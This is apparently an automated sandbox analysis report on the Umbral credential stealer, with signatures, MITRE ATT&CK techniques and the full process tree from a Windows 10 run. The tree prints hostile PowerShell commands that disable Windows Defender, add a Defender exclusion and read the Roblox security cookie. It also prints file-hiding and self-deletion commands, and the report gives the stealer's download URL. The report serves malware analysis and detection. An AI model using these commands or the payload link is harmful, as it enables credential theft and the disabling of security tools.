umbral | hxxps://github[.]com/oblivioustb1/umbral-stealer-free/raw/main/Umbral[.]exe

Analysis

max time kernel
145s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
17-07-2024 10:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/oblivioustb1/umbral-stealer-free/raw/main/Umbral.exe

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00070000000234c2-40.dat	family_umbral
behavioral1/memory/4200-90-0x0000016D79140000-0x0000016D79180000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
684	powershell.exe
4276	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 3 IoCs

pid	Process
4200	Umbral.exe
1672	Umbral.exe
1872	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
73	discord.com
80	raw.githubusercontent.com
89	discord.com
90	discord.com
14	raw.githubusercontent.com
15	raw.githubusercontent.com
72	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
64	ip-api.com
84	ip-api.com

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1496	wmic.exe
5716	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	msedge.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 632526.crdownload:SmartScreen	msedge.exe
File created	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FkCF0.scr\:SmartScreen:$DATA	Umbral.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 183978.crdownload:SmartScreen	msedge.exe
File created	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\f9582.scr\:SmartScreen:$DATA	Umbral.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4008	PING.EXE
5876	PING.EXE

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
984	msedge.exe
984	msedge.exe
640	msedge.exe
640	msedge.exe
2576	identity_helper.exe
2576	identity_helper.exe
1548	msedge.exe
1548	msedge.exe
4200	Umbral.exe
4200	Umbral.exe
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
3288	powershell.exe
3288	powershell.exe
3288	powershell.exe
4384	msedge.exe
4384	msedge.exe
1872	Umbral.exe
1872	Umbral.exe
684	powershell.exe
684	powershell.exe
684	powershell.exe
2888	powershell.exe
2888	powershell.exe
2888	powershell.exe
3620	powershell.exe
3620	powershell.exe
3620	powershell.exe
5184	powershell.exe
5184	powershell.exe
5184	powershell.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe
5624	msedge.exe
5624	msedge.exe
5624	msedge.exe
5624	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	Umbral.exe
Token: SeIncreaseQuotaPrivilege	5072	wmic.exe
Token: SeSecurityPrivilege	5072	wmic.exe
Token: SeTakeOwnershipPrivilege	5072	wmic.exe
Token: SeLoadDriverPrivilege	5072	wmic.exe
Token: SeSystemProfilePrivilege	5072	wmic.exe
Token: SeSystemtimePrivilege	5072	wmic.exe
Token: SeProfSingleProcessPrivilege	5072	wmic.exe
Token: SeIncBasePriorityPrivilege	5072	wmic.exe
Token: SeCreatePagefilePrivilege	5072	wmic.exe
Token: SeBackupPrivilege	5072	wmic.exe
Token: SeRestorePrivilege	5072	wmic.exe
Token: SeShutdownPrivilege	5072	wmic.exe
Token: SeDebugPrivilege	5072	wmic.exe
Token: SeSystemEnvironmentPrivilege	5072	wmic.exe
Token: SeRemoteShutdownPrivilege	5072	wmic.exe
Token: SeUndockPrivilege	5072	wmic.exe
Token: SeManageVolumePrivilege	5072	wmic.exe
Token: 33	5072	wmic.exe
Token: 34	5072	wmic.exe
Token: 35	5072	wmic.exe
Token: 36	5072	wmic.exe
Token: SeIncreaseQuotaPrivilege	5072	wmic.exe
Token: SeSecurityPrivilege	5072	wmic.exe
Token: SeTakeOwnershipPrivilege	5072	wmic.exe
Token: SeLoadDriverPrivilege	5072	wmic.exe
Token: SeSystemProfilePrivilege	5072	wmic.exe
Token: SeSystemtimePrivilege	5072	wmic.exe
Token: SeProfSingleProcessPrivilege	5072	wmic.exe
Token: SeIncBasePriorityPrivilege	5072	wmic.exe
Token: SeCreatePagefilePrivilege	5072	wmic.exe
Token: SeBackupPrivilege	5072	wmic.exe
Token: SeRestorePrivilege	5072	wmic.exe
Token: SeShutdownPrivilege	5072	wmic.exe
Token: SeDebugPrivilege	5072	wmic.exe
Token: SeSystemEnvironmentPrivilege	5072	wmic.exe
Token: SeRemoteShutdownPrivilege	5072	wmic.exe
Token: SeUndockPrivilege	5072	wmic.exe
Token: SeManageVolumePrivilege	5072	wmic.exe
Token: 33	5072	wmic.exe
Token: 34	5072	wmic.exe
Token: 35	5072	wmic.exe
Token: 36	5072	wmic.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeIncreaseQuotaPrivilege	3672	wmic.exe
Token: SeSecurityPrivilege	3672	wmic.exe
Token: SeTakeOwnershipPrivilege	3672	wmic.exe
Token: SeLoadDriverPrivilege	3672	wmic.exe
Token: SeSystemProfilePrivilege	3672	wmic.exe
Token: SeSystemtimePrivilege	3672	wmic.exe
Token: SeProfSingleProcessPrivilege	3672	wmic.exe
Token: SeIncBasePriorityPrivilege	3672	wmic.exe
Token: SeCreatePagefilePrivilege	3672	wmic.exe
Token: SeBackupPrivilege	3672	wmic.exe
Token: SeRestorePrivilege	3672	wmic.exe
Token: SeShutdownPrivilege	3672	wmic.exe
Token: SeDebugPrivilege	3672	wmic.exe
Token: SeSystemEnvironmentPrivilege	3672	wmic.exe
Token: SeRemoteShutdownPrivilege	3672	wmic.exe
Token: SeUndockPrivilege	3672	wmic.exe
Token: SeManageVolumePrivilege	3672	wmic.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe
640	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 4068	640	msedge.exe	84
PID 640 wrote to memory of 4068	640	msedge.exe	84
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 4960	640	msedge.exe	85
PID 640 wrote to memory of 984	640	msedge.exe	86
PID 640 wrote to memory of 984	640	msedge.exe	86
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87
PID 640 wrote to memory of 5000	640	msedge.exe	87

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1672	attrib.exe
2424	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/oblivioustb1/umbral-stealer-free/raw/main/Umbral.exe
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd24f546f8,0x7ffd24f54708,0x7ffd24f54718
  2⤵
  PID:4068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
  2⤵
  PID:4960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2932 /prefetch:8
  2⤵
  PID:5000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
  2⤵
  PID:4116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
  2⤵
  PID:3196
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 /prefetch:8
  2⤵
  PID:748
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
  2⤵
  PID:2744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:2692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4112 /prefetch:8
  2⤵
  PID:5040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4152 /prefetch:1
  2⤵
  PID:4552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
  2⤵
  PID:1264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
  2⤵
  PID:1112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6412 /prefetch:8
  2⤵
  PID:1220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3524 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1548
- C:\Users\Admin\Downloads\Umbral.exe
  "C:\Users\Admin\Downloads\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4200
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5072
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\Downloads\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:1672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4928
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3672
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4004
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3288
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1496
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\Umbral.exe" && pause
    3⤵
    PID:4156
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:4008
- C:\Users\Admin\Downloads\Umbral.exe
  "C:\Users\Admin\Downloads\Umbral.exe"
  2⤵
  - Executes dropped EXE
  PID:1672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5936 /prefetch:1
  2⤵
  PID:1496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5904 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,7868457282086846440,7107053518569458789,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2744 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5624

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4992

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1680

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1904

C:\Users\Admin\Downloads\Umbral.exe
"C:\Users\Admin\Downloads\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:1872
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1312
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\Downloads\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5184
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  PID:5360
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:5416
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:5472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5716
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Downloads\Umbral.exe" && pause
  2⤵
  PID:5836
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:5876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

